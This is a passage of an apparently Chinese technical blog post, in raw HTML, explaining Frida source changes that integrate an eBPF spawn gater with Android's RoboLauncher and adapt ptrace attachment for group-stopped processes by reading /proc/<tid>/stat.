style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">linux-host-session.vala</span></code><span leaf="">中的修改将spawn gater无缝集成到Frida的现有架构中：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="238" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(0, 0, 255);"><span leaf="">public</span></span><span style="color: rgb(0, 0, 255);"><span leaf="">override</span></span><span style="color: rgb(0, 0, 255);"><span leaf="">async</span></span><span style="color: rgb(0, 0, 255);"><span leaf="">void</span></span><span leaf=""> enable_spawn_gating (...) {</span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 先预加载helper（确保64位和32位helper都已就绪）</span></span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">var</span></span><span leaf=""> helper_process = helper as LinuxHelperProcess;</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (helper_process != </span><span style="color: rgb(163, 21, 21);"><span leaf="">null</span></span><span leaf="">)</span><br/><span leaf="">        yield helper_process.preload (cancellable);</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">var</span></span><span leaf=""> gater = ensure_spawn_gater ();</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (gater.state == STOPPED) {</span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// Android上允许eBPF启动失败（可能缺少CAP_BPF）</span></span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 纯Linux上直接抛异常</span></span><br/><span leaf="">        #</span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> ANDROID</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">try</span></span><span leaf=""> { gater.start (); } </span><span style="color: rgb(0, 0, 255);"><span leaf="">catch</span></span><span leaf=""> (Error e) { }</span><br/><span leaf="">        #</span><span style="color: rgb(0, 0, 255);"><span leaf="">else</span></span><br/><span leaf="">        gater.start ();</span><br/><span leaf="">        <a class="wx_topic_link" topic-id="mnb4spi3-c5d07l" style="color: #576B95 !important;" data-topic="1" data-recommend="">#endif</a></span><br/><span leaf="">    }</span><br/><span leaf="">    #</span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> ANDROID</span><br/><span leaf="">    yield robo_launcher.enable_spawn_gating (cancellable);</span><br/><span leaf="">    <a class="wx_topic_link" topic-id="mnb4spi3-ielmik" style="color: #576B95 !important;" data-topic="1" data-recommend="">#endif</a></span><br/><span leaf="">}</span></code></pre><p data-line="262" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">关键设计点：</span></p><ol style=" margin-top: 0px;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=""><strong><span leaf="">预加载helper</span></strong><p><span leaf="">：</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">preload()</span></code><span leaf="">方法确保frida-helper-64和frida-helper-32都已启动，避免后续注入时的延迟。</span></p></li><li style=""><strong><span leaf="">Android双轨制</span></strong><p><span leaf="">：在Android上，eBPF spawn gater与传统的Zygote-based RoboLauncher并行工作。eBPF覆盖所有通过</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">execve</span></code><span leaf="">启动的原生进程，RoboLauncher覆盖Java层fork出的App进程。两者产出的spawn事件统一汇聚到同一个</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">spawn_added</span></code><span leaf="">信号。</span></p></li><li style=""><strong><span leaf="">容错处理</span></strong><p><span leaf="">：Android上eBPF启动失败不影响RoboLauncher工作，旧设备仍然可以通过Java层方案完成spawn gating。</span></p></li></ol><p data-line="268" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">enumerate_pending_spawn()</span></code><span leaf="">也做了合并：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="270" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(0, 0, 255);"><span leaf="">public</span></span><span style="color: rgb(0, 0, 255);"><span leaf="">override</span></span><span style="color: rgb(0, 0, 255);"><span leaf="">async</span></span><span leaf=""> HostSpawnInfo[] enumerate_pending_spawn (...) {</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">var</span></span><span leaf=""> result = </span><span style="color: rgb(0, 0, 255);"><span leaf="">new</span></span><span leaf=""> HostSpawnInfo[</span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">];</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (spawn_gater != </span><span style="color: rgb(163, 21, 21);"><span leaf="">null</span></span><span leaf="">)</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">foreach</span></span><span leaf=""> (</span><span style="color: rgb(0, 0, 255);"><span leaf="">var</span></span><span leaf=""> spawn in spawn_gater.enumerate_pending_spawn ())</span><br/><span leaf="">            result += spawn;</span><br/><span leaf="">    #</span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> ANDROID</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">foreach</span></span><span leaf=""> (</span><span style="color: rgb(0, 0, 255);"><span leaf="">var</span></span><span leaf=""> spawn in robo_launcher.enumerate_pending_spawn ())</span><br/><span leaf="">        result += spawn;</span><br/><span leaf="">    <a class="wx_topic_link" topic-id="mnb4spi3-a0t96l" style="color: #576B95 !important;" data-topic="1" data-recommend="">#endif</a></span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span leaf=""> result;</span><br/><span leaf="">}</span></code></pre><p data-line="284" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">恢复时也是双路径尝试：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="286" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(0, 0, 255);"><span leaf="">protected</span></span><span style="color: rgb(0, 0, 255);"><span leaf="">override</span></span><span style="color: rgb(0, 0, 255);"><span leaf="">async</span></span><span style="color: rgb(0, 0, 255);"><span leaf="">void</span></span><span leaf=""> perform_resume (</span><span style="color: rgb(0, 0, 255);"><span leaf="">uint</span></span><span leaf=""> pid, ...) {</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (spawn_gater != </span><span style="color: rgb(163, 21, 21);"><span leaf="">null</span></span><span leaf=""> &amp;&amp; spawn_gater.try_resume (pid))</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span leaf="">;</span><br/><span leaf="">    #</span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> ANDROID</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (robo_launcher.try_resume (pid))</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span leaf="">;</span><br/><span leaf="">    <a class="wx_topic_link" topic-id="mnb4spi3-k5e3vm" style="color: #576B95 !important;" data-topic="1" data-recommend="">#endif</a></span><br/><span leaf="">    yield helper.resume (pid, cancellable);</span><br/><span leaf="">}</span></code></pre><h2 data-line="298" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">核心功能二：Group-stopped PIDs注入</span></h2><h3 data-line="300" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">1 问题根源</span></h3><p data-line="302" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">eBPF spawn gater通过</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">bpf_send_signal(SIGSTOP)</span></code><span leaf="">将进程冻住。但这产生了一个新的工程问题：被SIGSTOP暂停的进程处于</span><strong><span leaf="">group-stop</span></strong><span leaf="">状态（</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">/proc/pid/stat</span></code><span leaf="">中标记为</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">T</span></code><span leaf="">），Frida原有的注入路径无法正确处理这种状态的进程。</span></p><p data-line="304" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">原因是Frida的注入基于ptrace。标准流程是：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="306" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span leaf="">ptrace(SEIZE, pid) → ptrace(INTERRUPT, pid) → waitpid() → 注入 → ptrace(DETACH, pid)</span></code></pre><p data-line="310" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">但对于已经处于group-stop的进程，</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">ptrace(INTERRUPT, pid)</span></code><span leaf="">的行为不符合预期——进程已经停了，再发INTERRUPT会导致信号等待逻辑卡住或返回错误。</span></p><h3 data-line="312" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">2 解决方案</span></h3><p data-line="314" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">commit </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">0bee9cba</span></code><span leaf="">通过以下策略解决了这个问题：</span></p><p data-line="316" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><strong><span leaf="">第一步：检测group-stop状态</span></strong></p><p data-line="318" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">新增</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">query_process_state()</span></code><span leaf="">方法，通过读取</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">/proc/&lt;tid&gt;/stat</span></code><span leaf="">来判断进程状态：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="320" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(0, 0, 255);"><span leaf="">private</span></span><span style="color: rgb(0, 0, 255);"><span leaf="">static</span></span><span style="color: rgb(0, 0, 255);"><span leaf="">char</span></span><span leaf=""> query_process_state (</span><span style="color: rgb(0, 0, 255);"><span leaf="">uint</span></span><span leaf=""> tid) {</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">try</span></span><span leaf=""> {</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">string</span></span><span leaf=""> stat;</span><br/><span leaf="">        FileUtils.get_contents (</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;/proc/%u/stat&#34;</span></span><span leaf="">.printf (tid), out stat);</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">int</span></span><span leaf=""> paren_end = stat.last_index_of_char (</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#39;)&#39;</span></span><span leaf="">);</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (paren_end != </span><span style="color: rgb(0, 128, 0);"><span leaf="">-1</span></span><span leaf=""> &amp;&amp; paren_end + </span><span style="color: rgb(0, 128, 0);"><span leaf="">2</span></span><span leaf=""> &lt; stat.length)</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span leaf=""> stat[paren_end + </span><span style="color: rgb(0, 128, 0);"><span leaf="">2</span></span><span leaf="">];</span><br/><span leaf="">    } </span><span style="color: rgb(0, 0, 255);"><span leaf="">catch</span></span><span leaf=""> (FileError e) {</span><br/><span leaf="">    }</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">&#39;?&#39;</span></span><span leaf="">;</span><br/><span leaf="">}</span></code></pre><p data-line="334" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">/proc/pid/stat</span></code><span leaf="">的格式是</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">pid (comm) state ...</span></code><span leaf="">，状态字符紧跟最后一个右括号后的空格。</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">T</span></code><span leaf="">表示stopped（包括group-stop和ptrace-stop），</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">S</span></code><span leaf="">表示sleeping，</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">R</span></code><span leaf="">表示running。代码使用</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">last_index_of_char(&#39;)&#39;)</span></code><span leaf="">定位最后一个</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">)</span></code><span leaf="">，因为进程名（</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">comm</span></code><span leaf="">字段）本身可能包含括号和空格，从后向前搜索才能避免误解析。</span></p><p data-line="336" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><strong><span leaf="">第二步：差异化的ptrace附加流程</span></strong></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="338" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(0, 0, 255);"><span leaf="">bool</span></span><span leaf=""> was_stopped = seize_supported &amp;&amp; query_process_state (tid) == </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#39;T&#39;</span></span><span leaf="">;</span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// ...</span></span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (seize_supported) {</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (was_stopped) {</span><br/><span leaf="">        was_group_stopped = </span><span style="color: rgb(163, 21, 21);"><span leaf="">true</span></span><span leaf="">;</span><br/><span leaf="">        yield wait_for_next_stop (cancellable);</span><br/><span style="color: rgb(0, 122, 204);"><span leaf="">Posix</span></span><span leaf="">.kill ((</span><span style="color: rgb(0, 122, 204);"><span leaf="">Posix</span></span><span leaf="">.pid_t) pid, </span><span style="color: rgb(0, 122, 204);"><span leaf="">Posix</span></span><span leaf="">.Signal.CONT);</span><br/><span leaf="">    } </span><span style="color: rgb(0, 0, 255);"><span leaf="">else</span></span><span leaf=""> {</span><br/><span leaf="">        ptrace (INTERRUPT, tid);</span><br/><span leaf="">        yield wait_for_signal (TRAP, cancellable);</span><br/><span leaf="">    }</span><br/><span leaf="">}</span></code></pre><p data-line="353" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, 